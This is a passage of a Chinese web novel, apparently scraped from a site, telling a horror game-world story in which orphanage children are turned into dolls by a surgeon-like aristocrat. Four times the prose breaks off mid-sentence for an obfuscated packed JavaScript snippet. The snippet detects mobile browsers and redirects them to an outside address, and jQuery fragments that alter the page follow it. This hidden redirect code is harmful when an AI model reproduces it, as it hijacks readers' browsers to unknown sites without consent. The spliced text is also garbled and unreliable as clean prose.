她假装自己还没“醒”,甚至还装作活泼地一步跨作两步跳上了楼梯,想要跟普通小孩一样一手牵一个带走。 她的手又热又湿,像是出了很多汗。 朱姐想要拉走她们,却不成想没拉动,她回头看去:“快点走吧,万一院长妈妈发现我们没听她的话,偷偷跑出来就不好了。” 郝荨微微歪了下头,她突然开口:“所以,你不知道小孩失踪的事?” 朱姐愣住:“什么失踪?谁失踪了?” 方柚柚道:“除了我们,都失踪了。” 朱姐紧张道:“什么时候失踪的?所有地方都找过了吗?” 见两人都看着自己不说话,朱姐也反应过来,她也不嫌尴尬,自然地松开两人的手:“你们过来是想去楼下找人吗?那你们不用去了,楼下没人。” 方柚柚刨根究底:“没人?那你在楼下做什么?” “关你什么事!”朱姐警惕道,“不怕死自己下去!” 说完,她就撞开两人跑走了。 方柚柚看着她的背影不明所以:“……她为什么突然生气?” 郝荨吸吸鼻子,那个玩家的身上还残留着些许令她熟悉的气息,是锅炉房的味道。 “走吧,下去看看。” 她们在楼下没找到什么,锅炉房看着和其他房间没什么区别,角落里堆着几个黑色袋子。 这是方柚柚第一次来这里,她皱起眉头:“这是什么?” 这个体积和形状……很难不让她联想到尸体。 郝荨提议:“打开看看?” 说干就干,两人连着拆了几个袋子,里面装着的都是垃圾,普通的让人失望。 上楼时,霍格和余逸带来了一个消息,院长妈妈和托特老师所住的小房子里也没有人,他们没找到什么有用的线索,只好继续睡觉。 第二天。 郝荨是被叫醒的,她有些没有力气,不知道是生病导致的还是什么。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425724|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 方柚柚凑到她耳边:“一个好消息一个坏消息,你想先听哪个?” “坏消息。”她果断道。 方柚柚:…… “不,你想先听好消息。” 郝荨无语,她勉强配合道:“什么好消息?” “孤儿院里的孩子回来了。” “坏消息呢?” “只回来了一部分孩子,但是,孩子们看起来有点奇怪。” 郝荨挑了挑眉:“怎么个奇怪法?还能三头六臂不成。” “也差不多了。”方柚柚小声道,“他们身上的异化程度加深了。” 说完,她顿了顿,然后抓起郝荨的手:“给你玩个好玩的。” 下一秒,郝荨就摸到了一点冒出来的耳朵尖,毛茸茸的,柔软非常,这手感摸起来跟方步步一模一样。 “我摸你哥,他没有意见?” 然后,她的另一只手也摸到了一只兔子耳朵,郝荨猛地一怔。 方柚柚:“不止他们,我们也变了。” 得亏她看不见,方柚柚拿起麻布给郝荨绑上,她的眼睛之前虽然也看不见,但好歹是双正常眼睛,只是看着无神了些,现在这两枚瞳孔却扩大了许多,几乎占满整个眼眶,眼珠突出,仔细看去中间还生出四个小洞,怎么看怎么像是两颗圆圆的纽扣。 就在这时,霍格和余逸略显急促的脚步声响起。 “少了四个孩子。” 四个孩子性别年龄各不相同,其中就包含了那个贪吃的小胖墩。 孤儿院的规模不大,像他们这样的特殊儿童大多都活不到现在,除开多出来的玩家外,总共也就十几个小孩,这一夜竟然就少了四个。 郝荨不由想起棋盘游戏最开始的那场游戏里,毛毛虫出的题目——“爱丽丝所住的村子里每天都会减少三分之二的人,第二天只有三个人回来,这样的日子过了1826天,最后,村子里只剩下了三个人,请问最开始有多少人?” 如果这里是爱丽丝真实存在的世界,那么那些题目就不会是无的放矢。 这间孤儿院每过一段时间就会少人,但最后的人数与最开始的一致,这难道意味着…… “该死的!!!” 一声愤怒又惊恐的咆哮从走廊传来,几人连忙走到门口。 “是谁?!谁搞的?!” 院长妈妈身体紧绷,眼里几乎要冒火,手却在颤抖,她的手里拿着一个毛线玩偶。 那玩偶破破烂烂的样子,眼珠用红色的石头装点。 “这……”余逸有些迟疑。 这个娃娃长得有点像其中一个消失的孩子。 “是你们吗?!”院长妈妈冲到他们面前,面色扭曲。 四人齐齐摇头。 找不到“凶手”的园长妈妈弯下腰去,身体绷得像个虾米,她用力攥紧娃娃的脖子,像是想掐死对方似的,突然,她好像被什么烫了一下,娃娃被她扔了出去。 “滚回你们的屋子!” 院长妈妈把探出头的孩子都赶回房,房门被重重关上。 郝荨清楚地听见,院长妈妈的脚步声有些迟疑,她牙关打颤,快速而小心地取走了那个毛线玩偶。 难怪人数一致,那些丢失的孩子们…都变成了各式各样的玩偶回来了。 130. 疯狂爱丽丝18 “好奇怪啊……”余逸有些没明白,“【疯狂爱丽丝】的副本BOSS不是爱丽丝吗?但报道里说,这些孩子都是被那个什么…什么海姆爵士和托特先生带走的,现在他们变成了玩偶,究竟是爵士做的,还是爱丽丝做的?” 他想到一个可能性,脸色很不好看:“总不会这个副本有两个BOSS吧!” 郝荨沉吟片刻:“不,你别忘了一件事。” 余逸一怔。 郝荨点了点墙面上湿滑的青苔:“我们现在,可是在爱丽丝举办的‘茶话会’里。” 在爱丽丝的梦里,无论是托特先生,还是那个从未出现过的阿尔伯特·冯·霍恩海姆爵士,都只不过是妆点她梦的NPC罢了。 也就是说,这里的BOSS,从头至尾都只有爱丽丝一人。 方柚柚想了想:“你觉得,这些玩偶也是爱丽丝搞的鬼?” “很大概率跟她有关,”她抬手指向爱丽丝房间的方向,“那里,可是第一个玩偶娃娃出现的地方。” ——【致爱丽丝:我们永远是最好的朋友。】 霍格开口:“现在关键还是在爱丽丝。” 失踪的孩子们回来了,爱丽丝却不见了。 他们去问院长妈妈,院长妈妈却一脸讳莫如深的模样,将他们赶了出来。 余逸摸了摸肚子:“先吃饭吧,吃饱了咱们去问问其他人,知不知道爱丽丝和她的那个好朋友究竟在哪?” 几人一同来到食堂,今天的早饭是硬得能砸死人的黑面包,咬一口脖子能伸出二里地,就在余逸拼命拍胸口想让自己咽下去时,一个人影突然在他们对面坐下。 歌者的脸色异常难看。 为了表示友好,余逸用力掰下一小块黑面包递过去:“来吃点儿?” 歌者看都没看面包一眼,只自顾自地盯着郝荨看。 余逸只好把那黑面包收回,满脸痛苦地塞进嘴巴,含糊不清道:“你别看了,她又看不见你看她!” 方柚柚小声在郝荨耳边说了情况,郝荨挑了挑眉:“有事?” “你们昨天碰见朱姐了?她去哪了?” 歌者的语气有些咄咄逼人,跟她以往的领袖形象大不一样。 郝荨敏锐地听出来了些什么,她皱眉道:“她怎么了?” 歌者沉默两秒,然后将一个玩偶“咚”一下扔在了桌上。 这个玩偶是个木制品,乍看还以为是蜘蛛,仔细看去,才发现这是个多出了几条手臂的人,球状关节打磨得很圆润,非常灵活。 只是,娃娃脸上的表情很吓人,她像是看到了什么令人毛骨悚然的东西,神色极为惊恐,嘴角却挂着笑意。 余逸睁大双眼:“这、这是朱姐?!” 郝荨思索片刻,还是开口道:“我们昨天下楼时正好看到她上来,可惜的是,她很有戒心,什么都没说。” “她好像藏了什么。”方柚柚突然说。 方柚柚耷拉着眉眼,一副漫不经心的模样,眼角余光却一直注意着对方,只见歌者先是一脸怔愣,然后忽然想到什么似的,瞳孔微微颤动,手不自觉地摸上了腰间。 “……” 歌者张开嘴,轻轻吐了一个字。 “什么?”方柚柚疑惑。 歌者骤然回神:“没什么,现在大家还不知道朱姐身上到底发生了什么,你们自己小心些,尤其……别随便拿东西。” 说完,她便匆匆离开。 她的状态实在不好,不好到连余逸这种神经大条的人都能看出她话里有话。 “她什么意思?朱姐拿人东西了?啥东西啊?” 郝荨轻轻开口:“8。” 余逸:“诶!” 郝荨:…… 余逸挠挠头,不好意思道:“舍友总玩这套,嘴快!一时嘴快,嘿嘿。” 霍格敲了敲他的脑袋:“歌者说的是‘8’,她也拿到扑克牌了?” 郝荨道:“或许,我们去问问其他人吧。” 还活着的这批玩家素质都还不错,都已经恢复了记忆,在他们跟NPC们打听情况的时候,时不时也能碰上其他也在寻找线索的玩家。 孩子们对昨夜失踪的事一问三不知,都以为自己在床上睡了整晚,目光茫然,倒是对爱丽丝这个人很有话说。 爱丽丝因为其怪异的长相,其他孩子们都很害怕……或者说,厌恶她。 之前也有许多老爷太太们想来资助圣玛利亚特殊儿童孤儿院,可只要一看到爱丽丝的存在,他们就会吓得大惊失色,久而久之,豪商贵族们都知道,北地的这家孤儿院是个被诅咒的孤儿院,与恶魔待久了,孩子们身上的畸形症状也会越来越严重。 他们害怕自己也染上诅咒,来的人便越来越少。 与此同时,院长妈妈的脾气也越来越坏,有时甚至会对爱丽丝做出可怕的事,这样才能勉强平复她的心情。 大家怕被连累,更加不愿意与爱丽丝说话。 “我亲眼看见,她在和‘不详’说话!只有恶魔才会和‘不详’亲近!”其中一个孩子说道。 “‘不详’是什么?” “就是那只黑色的鸟!每次孤儿院里有孩子被神明接见,它都会出现,它一定是来跟神明抢人,带他们下地狱的!” 孩子满脸惊恐,神经质地四处看,像是生怕‘不详’会连他也一起带走。 那只黑色的大鸟是渡鸦,传说中,渡鸦是死亡、瘟疫和疾病的象征,但实际上,她们不过是因为食腐才会出现在亡地,并不是他们带来了死亡,而是死亡传唤了它。 另一个孩子小声说:“她很讨厌海伦小姐,也很讨厌曼迪夫人……她讨厌每一个教师。” “但她喜欢吃糖!”一个女孩鼓起勇气说,“我看到她去问爵士要糖,但是爵士拒绝了她!爵士喜欢其他小孩!” “糖?”郝荨从口袋中掏出托特先生给的那颗“心脏”,“是这样的糖吗?” 女孩点点头,忍不住咽了口口水。 余逸:“所以,你们都不知道爱丽丝的朋友是谁吗?” 孩子们面面相觑,纷纷摇头。 这和他们的记忆对上了,但却和爱丽丝幻想中的世界相反。 余逸:“现在怎么办?还是不知道她的朋友是谁,也不知道她去哪了。” BO ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15462060|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' SS都找不到,就更不知道该如何离开“茶话会”了,郝荨叹了口气,打算先去趟洗手间。 圣玛利亚的洗手间不大,甚至可以说有些挤,方柚柚将郝荨送到洗手间后,便在门外等她。 郝荨将整个洗手间摸索了一遍,在脑海里画出结构图。 经过昨天一夜的雨后,孤儿院的温度大大降低,她薄薄的鞋底踩在洗手间的地砖上,只觉得冰凉,像是赤脚踩在冰块上似的。 在记忆中,她对这里的每一块砖都很熟悉,但现在,洗手间的空气里飘着一股若有似无的甜腻味道。 再仔细去闻时,这味道又不见了。 “嘎吱——” 她面不改色地推开门,是熟悉的霉味。 洗手间隔间非常狭小,她需要侧着身才能关上门,随着门板关上,黑暗像是一层粘稠的沥青裹住了整个隔间。 不过这对现在的郝荨来说,没什么关系,反正她也看不见。 滴答。 滴答。 幽暗的地方,水滴声连同那从不间断的“哒哒”声一起响着,郝荨蹲下身去—— “咔哒。” 头顶传来一声硬物碰撞的声响。 她身形一顿,这声音太近了,近得就像是有谁趴在她上方的隔板上,故意敲了敲墙砖。 “……谁?” 回应她的是一串尖细的笑声,又像是指甲刮擦的声音,如果她仔细听,甚至还能听到麻布摩擦的沙沙声。 “滴答。” 一滴液体砸在她的后脑,她的手指有些僵硬地摸了一把,还好,不是血。 郝荨沉住气,将衣物整理好,正准备开门,指尖却触摸到一团粗糙的毛发。 有东西从门缝里进来了! 突然,一只冰凉的小手猛地攥住她的脚踝! 那触感冰冷光滑,指节处却有粗糙的裂痕,郝荨倏地后退,撞上了冰凉的墙砖。 “咚!” 什么东西重重砸在了她的脚尖。 她屏住呼吸,试探着伸出手去——蓬松有些卷的短发,玻璃眼珠,还有裂开的嘴角……是个木偶娃娃,可当她触碰到娃娃胸口时,指尖却陷入了温热湿润的窟窿里。 娃娃的胸口被掏出了一个巨大的洞……那里缺少了一颗心。 “砰!” 洗手间的门被一下撞开,方柚柚的声音传了进来:“你在跟谁说话?!” “有个木偶!” 郝荨迅速收回手,几步跨越到门外。 “娃娃?什么娃娃?” 方柚柚的声音越来越近:“我们快出去吧,托特老师该等急了。” 郝荨动作顿住,在她看不见的地方,无数细小的影子从娃娃胸口处涌出,纠缠成团的麻布像活物般向她脚下游来。 而“方柚柚”的声音在她耳边响起:“乖孩子,我们该……继续‘游戏’了。” 冰凉的手指抚上她的脸颊,郝荨面无表情地“啧”了一声,然后一个转身,稳准狠地踩住了躲藏在麻布下的木偶娃娃。 她眯起眼睛笑了起来:“没有人教过你吗?躲猫猫的时候,千万不能发出声音哦。” 131. 疯狂爱丽丝19 郝荨卡住木偶娃娃的脖子,把它吊在下水道口,娃娃的头发诡异地扭动着。 “最后再问一次,”木仓口抵住娃娃空了一块的胸口,那里正往外渗着粘稠的黑色血液,“爱丽丝在哪?” “咔哒。” 木偶突然一百八十度扭过头,黑暗中,它褪色的眼珠泛着点点蓝光,脸蛋圆圆,像极了失踪的小胖墩。 “嘻嘻……” 木偶娃娃的嘴一张一合,发出卡顿的声响:“你该担心的……是他呀——” 郝荨二话不说将木仓上膛,扳机就要扣下。 “等等!等等!”木偶娃娃的声调陡然拔高,“你伤害我会被他发现——” “砰!” 一声枪响,空气突然寂静了几秒,子弹擦着木偶的脸侧划过,留下一道深深的爆破痕迹。 木偶的眼珠剧烈震动了几下,然后“哇”的一声嚎啕大哭。 “我数321,再哭的话下次对准的……”她的手指点了点对方的心口,“可就是这里了。” “3。” “2。” “1——” 娃娃忽的住口,它强忍住抽噎:“我、我真的不知道爱丽丝在哪…呜……” 一个略显急促的脚步声跑了进来:“我听到木仓声——园长?” 看到这场面,方柚柚一时有些愣神,郝荨正想解释,却被木偶娃娃抓住机会,猛地从她手中挣脱,扑向方柚柚—— “砰!” 兔兔飞踢! 毫不意外,娃娃被突然出现的白色兔子一个猛踹,又踹回了郝荨怀中。 “噫,好脏。” 兔子满脸嫌弃地伸出脚,让方柚柚帮它擦干净,那里溅上了几滴黑色血液。 被一只手牢牢按住,木偶娃娃打了个冷战,它缓缓抬起头,却对上了那管黑洞洞的木仓口。 左轮手木仓毫不留情地抵入它空缺的心口。 “你少了一颗心脏是吗?”郝荨轻柔的声音响起,“所以,你抓我是为了这个?那要是把这里射穿的话……是不是你会安静一点?” 一滴冷汗从木偶的脸上滴落。 “你知道的,我是个盲人,为了不打偏,多打几下也是很正常的哦。” “等一下!等一下!你、你想知道什么?我都说!” 木偶娃娃尖叫出声,郝荨没有放松,依然警惕地举着木仓。 “关于爱丽丝,你知道多少?” 木偶的脸上闪过一片空白,不知道是真的不知道,还是有关爱丽丝的记忆被删改,他说的和其他孩子所说的别无二致。 在他们口中,爱丽丝似乎只是个长相略显怪异爱幻想的普通孩子。 郝荨决定换个方向:“你是怎么变成玩偶的,还记得吗?” “小胖墩”沉默片刻,忽然咯咯笑了起来,它木质的皮肤在暗中泛着尸蜡般的青光。 “我是怎么变成娃娃的…我……” 它的蓝眼珠一下裂开,细密的血丝从瞳孔游出,仿佛有无数红虫在玻璃后蠕动。 “我叫汤姆,孤儿院一共有三个汤姆,我是最乖的那个。” “院长妈妈很喜欢我,会偷偷给我喂吃的,托特先生也很喜欢我,他塞给我很多糖,还让我不要告诉你们。” “昨天,托特先生带我去他的房间上药,他说,我的眼睛很漂亮,阿尔伯特爵士一定会喜欢的,说不定,爵士大人还会带我离开孤儿院!” “他说了好多好多,我都记不住了……” 他的声音有些低落,洗手间的油灯忽然闪烁了几下,光影明灭中,两人的脑海中忽然出现某种幻象—— 半夜,长相可爱的小男孩听见了托特先生的呼唤,他离开房间,一个接一个的孩子像是听见了彩衣笛手的笛声一般,排着队,神情恍惚地来到托特先生的小屋门口。 托特先生将他们一一检查过后,满意地点了点头。 不久,一辆低调而华丽的马车从山谷外驶入,马车停稳后,一位绅士走了下来,隔壁院长妈妈房间的油灯应声而灭。 绅士带着个奇怪的面具,像是鸟嘴。 他一个个打量着孩子们,然后,停在了小胖墩汤姆的面前,他用戴着白色手套的手摸了摸他的头,有些沉闷的声音从鸟嘴面具下响起:“你的眼睛真漂亮,像名贵的蓝宝石。” 被他夸赞的还有三个孩子,阿尔伯特爵士像是个真正的慈善家那样,他没有对孩子们的畸形之处感到害怕,也没有让他们将那些地方遮住,而是让他们大大方方地展露出来。 有时,他会抚摸上这些地方,语气中带有赞叹,有时,他又会在纸上写写画画着什么。 油灯再次闪烁,幻象忽然变了个模样。 汤姆和其他三个小孩被带到了一间全是白色的密闭房间,热气喷洒在爵士的鸟嘴面具中,模糊了他的眉眼。 阿尔伯特爵士取出一柄雕刻着镂空花纹的骨锯,上面还沾着写像是碎肉的东西。 “别怕,很快你们就会感谢我的……” 咔哒。 幻象中的汤姆忽然转过头,他的眼皮被缝线扯住,无法闭合,两颗如天空般晶莹剔透的蓝眼球正躺在一旁的陶瓷托盘里。 “他将我的头皮切开,挖出了我的脑子,”木偶娃娃语速陡然加快,“他切除了一部分,说那是导致我变笨的部位,然后把我的脑子连同发条和齿轮一起装了回去,说这样我的脑子会变快,可以更加聪明。” 木偶娃娃的头颅忽然自然摊开,露出里面的铜制齿轮,那上面还粘着些风干的白色物质,方柚柚忍不住皱了皱眉。 “他把我的眼睛泡在福尔马林里,他说,孩童的蓝眼睛是天底下最漂亮的宝石,但当他们长大了,那双眼睛就会变得浑浊发暗,那代表着沾染上了成人世界的污秽,那样就不美丽了。” “所以,他把我的眼睛在福尔马林里泡好,然后,重新装回了我的眼眶。” “好痛……” “好痛啊!” 它的声音忽然变高,哭嚎声混杂着爵士哼唱的圣歌糅杂着,油灯的火苗窜起半米高,在墙上投射出正在挣扎的人形阴影。 “最疼的是喉咙……”木偶娃娃抓起郝荨的手按向自己的脖颈,那里的木头下传来诡异的搏动。 “爵士说我的声音不够好听,叫起来的时候音调也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15466598|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 够准确,他说,他会帮助我,所以,把滚烫的铁水浇进了我的喉咙,让我能校准每个尖叫声!” 郝荨手指微微一颤,难怪它身上有很多走向奇特的纹路,现在看来,那原来手术缝合线。 “所以,你们参与了阿尔伯特爵士的……改造实验?” 方柚柚:“不对啊,爵士做的这些实验,并不会把你们变成玩偶,这中间一定缺少了什么。” 木偶娃娃懵了几秒,摇摇头:“汤姆想不起来了。” 郝荨想了想,收回了【弗兰德斯之木仓】。 有武器在手,她的心情总算是有了些许好转,就连持续不断的“哒哒”声也没办法再让她感到烦躁。 娃娃眼珠骨碌碌转动,试探道:“我可以走了吗?” 郝荨松开手,木偶娃娃正要跑路,心口处忽然被什么按了一下。 他低头一瞧,一颗小小的、跳动着的糖果被轻轻送进了他的胸膛。 “扑通、扑通……” 那枚糖果不够大,没办法完全填满他的胸口,它也不够暖和,比不上真正的心脏滚烫。 可那终究是一颗“心”。 汤姆怔怔地仰起头,那个比爵士还要恐怖,威胁要把它扔进下水道的女孩此刻垂着眉眼,神情格外温柔。 “好啦,先将就用吧,”郝荨帮他把衣服拉了拉,将胸口挡住,“别再被其他人抓住了。” 她刚要收回手,却感觉到衣袖一紧。 “怎么了?” 木偶娃娃一声不吭,顺着她的衣袖爬上肩头,半天才哼哼唧唧道:“……我只记得自己睡了过去,爵士好像很生气,怒骂了托特先生,然后我就被装进了一个黑色的带子……再然后…好像有人在我耳边说了什么,醒来后,汤姆就变成了这样。” 郝荨思索着,向门外走去。 这个阿尔伯特·冯·霍恩海姆爵士绝对有大问题,他看起来是个好心的慈善家,实际却在将孤儿院的孩子们当成试验品,拿他们做实验。 她还记得报道里写,每次爵士来过后,孤儿院的孩子们症状就要更严重一些,而每过一段时间,记录就要缺失一部分,再联合起之前游戏中,托特先生讲述的那个故事。 恐怕,在阿尔伯特爵士手下,已经有许多孩子惨遭毒手,托特先生就是他派来解决这些事情的人。 他床下那些或新或旧的旅行箱里,装着的或许就是孩子们的尸体。 不,她马上又推翻了这个想法,尸体会腐烂发臭,即便没有人来查,他也很难忍受尸臭味,黑色的袋子—— 是锅炉房! 郝荨猜测,托特先生应该会将孩子们送到锅炉房焚烧掉,遗留下的残骸再一并收起,藏在自己创新爱的行李箱中,再等他出门时一起处理掉。 这个爵士如此疯狂,却没有被人发现,他一定有着非凡的手段,那位采访圣玛利亚特殊儿童孤儿院的记者布莱克·威尔,前后态度如此不一致,也不知道是受到了威逼利诱,还是……精神状况受到了影响。 郝荨刚踏出洗手间,托特先生高大的身影忽然挡在她的面前: “偷拿别人的玩偶,可不是乖孩子哦。” 132. 疯狂爱丽丝20 “偷拿别人的玩偶,可不是乖孩子哦。” 托特先生衣着笔挺地站在郝荨和方柚柚跟前,他的左手捧着那本黑色的皮质手册,右手自然下垂着,看起来一切正常—— 如果他的食指能安稳垂落,而不是每隔几秒就不自然地抽搐的话。 “什么玩偶?玛弥和小柚是乖孩子,我们没有偷拿别人的东西。”郝荨状似无辜道。 在对方身影出现的那一瞬间,汤姆已经从她的肩头滑下,落在了她放在背后的手心。 木偶娃娃发着抖,拼命想往她的衣服里钻。 “是吗?” 托特先生抬腿向她靠近,落地时左脚发出一声“咯”的轻响,听起来像是关节处的弹响。 现在两人的距离仅仅只有三十公分。 他居高临下地盯着眼前这两个小女孩,领头的这个看着乖巧,但他深深知道,对方腼腆可爱的笑容只是伪装,这是个棘手的刺头。 倒是后头那个不爱说话,只紧紧贴在前头这个身后,不足为惧。 “你们的院长妈妈没有告诉你们,在圣玛利亚,两个孩子在上课的时间乱跑,是危险的行为吗?” 托特先生伸出手,袖口滑落时,手腕内侧有块紫色尸斑一闪而过。 “尤其是……”他压低声音,忽然,某种黏腻的蠕动声从他的胸腔处传来,托特先生面不改色地轻咳一声,那声音立刻又变回了正常的清嗓。 “——尤其是带着我的教具乱跑的时候。” 他笑着摊开掌心:“把它还给我,好吗?” 托特先生的影子将两个孩子牢牢包住,油灯闪烁,方柚柚揉了揉眼睛,她怎么看到对方的右手似乎多了一根手指? 郝荨与对方僵持了几秒,然后慢吞吞地将双手从背后伸出,那上头干干净净,什么都没有。 “可是,我真的没有偷拿您的教具。” 托特先生的脸上闪过不耐烦,他的眼球瞬间变成了浑浊的黄色。 “老师的耐心是有限的,”他语含警告,“小柚——?” 方柚柚低着头,整个身体躬着,很明显,她把什么藏在了怀里。 托特先生的耐心终于告罄,他粗暴地推开郝荨,转手抓起方柚柚的衣领,嘴角奇异地上扬:“不听话的孩子,该受到惩——” 他动作顿住。 女孩的怀里并不是他认为的木偶娃娃,有的只是一只肥硕的白色兔子玩偶。 毛茸茸的,格外柔软,令他作呕。 托特先生沉默了几秒,他浑浊的瞳孔不断颤动着,将两人身上打量了个遍,似乎不相信娃娃不在她们手中。 过了一会儿,他才松开手,后退了一步。 “回去上课吧,可千万……不要被我抓到你们调皮。” 三人前后脚回到教室,上课时,托特先生时不时就将目光投射在两人身上,可偏偏两个人上课时异常认真,没有被他抓到漏洞。 直到下课,托特先生才收回他的目光。 汤姆似乎对托特先生非常重要,刚一下课,托特先生便急匆匆离开,看起来是要去寻找什么。 郝荨四人走到孤儿院背后的小花园里,那里杂草丛生,个矮的孩子往下一蹲便会被草丛遮个干净,很适合聊秘密。 角落里还有一片落满枯叶的池塘,四个人将草丛和食堂都搜寻了个遍,一无所获。 霍格躲在树后坐下:“会不会藏在水池里?” 他记得,槌球比赛时,有个玩家在水里看到了一个女孩。 “啊?!”余逸反应很大,“不会吧!这水这么脏!” 水塘面积不大,他拿起枯枝试探着往下戳了戳,深不见底。 搅翻的水透着点暗红色,乍看一下甚至有点像血,可仔细看去就会发现,那红色是由一条条细细的小虫组成,别说下水了,哪怕是看他都觉得头皮发麻! 郝荨转过头问方柚柚:“汤姆呢?” 她本来还以为要用点暴力手段才能从托特先生那逃脱呢,没想到方柚柚从她手里接过了汤姆,成功躲开了托特先生。 方柚柚拽着兔子玩偶的耳朵将它揪出,方步步像是限定卡一样已经到期,此刻这只兔子又变回了那副二楞子模样。 方柚柚戳了戳它鼓鼓囊囊的肚子,命令道:“把汤姆放出来。” 兔子耳朵抖了抖,忽然张开大嘴,呕了几下,肚皮猛烈抖动,没一会儿,木偶娃娃就从它的嘴里吐了出来。 余逸吓了一跳:“我靠!这啥啊!” 这画面实在有点诡异,一个恐怖片专用木偶从兔子的肚子里冒出,很难不让他联想到某部安○贝○。 郝荨:“汤姆,你对爱丽丝了解不多,那女王呢?” 汤姆蓝色的玻璃眼珠晕乎乎地转了转:“女王?好像在哪里听过……” “在哪?”郝荨连忙追问。 汤姆想了想,摇摇头:“汤姆想不起来。” “是从孤儿院里的谁那里听到的吗?爱丽丝?院长妈妈?托特先生?” 郝荨试图帮它努力回忆,但还是没有结果。 思索片刻,郝荨忽然开口:“你们觉不觉得,跟棋盘相比,孤儿院里少了一样东西?” 余逸一愣:“少了吗?” 他掰着手指点了半天,忽然想起:“我知道了!那只头顶钟表的兔子!” “嗯。”郝荨点头,“‘没有时间了’——兔子其实一直在提示我们,我们身上越来越严重的异化反应,游戏时爱丽丝那矛盾的反应,明明开始的时候还会催一下我们进行下一轮,希望我们能吃下她准备的美食,可后面却越来越沉默,似乎根本不急。” “或者说,她希望我们能在棋盘上停留的越久越好。” 她敲了敲自己的耳朵:“我刚刚才反应过来,自从进了她的回忆,我的耳朵里就一直有个规律的‘哒哒’声,那其实是钟表里秒针转动的声音。” 余逸纳闷:“可孤儿院里没有时钟啊。” 他们昨夜找人时,已经把能翻的地方都翻过了,根本没有钟表的存在。 余逸:“我还以为是孤儿院太穷,没钱买表……” 他有点不好意思,却不想郝荨打断他:“你说得对。” “孤儿院里没有表很正常,但有个人那里肯定有。” “谁?” 方柚柚开口,吐出了一个人名:“阿尔伯特·冯·霍恩海姆爵士。” 余逸恍然:“对啊!他是贵族,还要做实验,肯定对时间的精确性有要求!” “所以,咱们今天早点睡,运气好的话,晚上就能通关。” 余逸好奇:“运气不好的话呢?” 郝荨弯起眼角:“运气不好,就给大家整个大活,成不?” 余逸伸出大拇哥:“我看中!” 几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473807|146669||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人正准备离开,郝荨却突然听见了什么,停下脚步。 霍格轻轻开口:“要抓出来吗?” 郝荨仔细听了听,听到长裙划过杂草的沙沙声,她摇了摇头:“你们先走。” 霍格微微皱眉:“你确定?” “嗯。” 他们走后,一个略有些高亢的女声从她背后传来: “哎呀,你怎么跑到这种地方来了?” 郝荨转过身,她清晰地听见女王的指甲在树皮上刮过的声响。 女王斜倚在树边,目光沉沉地望向这个女孩,她的指尖微动,扑克牌灵活地在她掌中翻转着:“你怎么都不来找我玩?不是说好要跟我做好朋友的吗?” 郝荨挑眉:“我可不记得我们什么时候说好过。” 女王拎起裙摆走到她面前,细细端详着她的脸:“你脸色可不大好哦,都让你离那个人远点了,怎么还非要去找她。” 她伸手摸了摸郝荨的脸,指尖温度滚烫,瞬间就把她的脸颊烫红了一块。 郝荨后退一步,她无奈地耸了耸肩:“没办法,我找她有点事。” 女王撅起嘴,有点不高兴:“她能有什么事…再说了,什么事能比得过女王陛下!” “你对她很了解?” “谁说的!”女王像是被侮辱了似的,瞬间尖叫起来。 “谁会了解那个疯丫头!” 女王骂骂咧咧了半天,忽然意识到什么:“你想打听她的事?你究竟想知道什么?” 郝荨:“你知道孤儿院里有只兔子吗?头顶钟表的兔子,我听说,爱丽丝知道它在哪。” “哦?” 女王饶有兴致地绕着她转了两圈,然后转过身,正要踏步,腰间却像是被什么拴紧似的,身形一下绷直。 “你想要时间兔?不如……我告诉你在哪?” 郝荨眨了眨眼:“代价呢?” “那当然是留下来跟我做朋友啦!能被尊贵的女王陛下选中做朋友,你该感到荣幸!” 郝荨歪了歪头,一阵风吹过,北地的风格外冷,哪怕是炎炎夏日也吹的人骨头发寒,但这风在经过女王身边时却不自觉地绕了过去,只剩下徐徐微风。 “你希望能跟我长长久久地做‘朋友’?无论是孤儿院,又或是在其他地方?” 她暗示性地指了指天上,女王眼睛骤然眯起。 几秒后,女王点点头:“当然。” 郝荨笑了起来,她意有所指道:“好啊,我答应你,让你…跟我一起。” 